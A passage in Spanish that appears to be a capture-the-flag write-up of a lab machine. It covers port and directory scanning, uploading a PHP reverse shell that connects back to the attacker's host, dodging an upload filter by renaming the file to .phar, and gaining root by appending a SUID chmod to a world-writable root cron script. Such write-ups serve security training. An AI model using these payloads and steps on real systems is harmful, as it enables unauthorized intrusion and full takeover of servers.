Comenzamos con la enumeración de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.56❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.56
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-08 21:06 -04
Nmap scan report for 192.168.1.56
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Diff3r3ntS3c
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 secondsSolo hay un servicio web expuesto. Enumeramos directorios y extensiones con gobuster:
❯ gobuster dir -u 'http://192.168.1.56' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png -r
...
/images (Status: 200) [Size: 1195]
/index.html (Status: 200) [Size: 5842]
/uploads (Status: 200) [Size: 743]
/assets (Status: 200) [Size: 1503]
/generic.html (Status: 200) [Size: 2750]
/elements.html (Status: 200) [Size: 16634]
...En el sitio encontramos un formulario de contacto que permite subir archivos, y la existencia del directorio /uploads sugiere dónde quedan alojados. Preparamos un archivo PHP malicioso con una reverse shell e intentamos subirlo:
❯ cat reverse.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>El servidor aplica un filtro por extensión y rechaza el .php:
This file looks malicious. Please do not try to hack us.El filtro solo valida la extensión .php, así que renombramos el archivo a .phar —que Apache también interpreta como PHP— para evadir la validación:
❯ mv reverse.php reverse.phar
The file reverse.phar has been uploadedAccedemos a /uploads, ejecutamos nuestra reverse shell, obtenemos acceso como candidate y la primera flag.
Para escalar privilegios, revisamos las tareas programadas del sistema en /etc/crontab:
candidate@Diff3r3ntS3c:/home/candidate$ cat /etc/crontab
...
* * * * * root /bin/sh /home/candidate/.scripts/makeBackup.sh
...Hay un script que root ejecuta cada minuto. Comprobamos sus permisos:
candidate@Diff3r3ntS3c:/home/candidate$ ls -l /home/candidate/.scripts/makeBackup.sh
-rwxrwxrwx 1 candidate candidate 399 Mar 28 10:57 /home/candidate/.scripts/makeBackup.shEl script tiene permisos de lectura, escritura y ejecución para todos, y lo ejecuta root. Esto abre varios vectores de ataque; nosotros optamos por inyectar una instrucción que asigne el bit SUID a /bin/bash:
candidate@Diff3r3ntS3c:/home/candidate$ echo 'chmod u+s /bin/bash' >> /home/candidate/.scripts/makeBackup.shTras esperar a que la tarea se ejecute, comprobamos que /bin/bash ya tiene el bit SUID y lanzamos una shell privilegiada con -p:
candidate@Diff3r3ntS3c:/home/candidate$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bash
candidate@Diff3r3ntS3c:/home/candidate$ bash -p
bash-5.2# whoami
rootObtenemos nuestra flag y fin.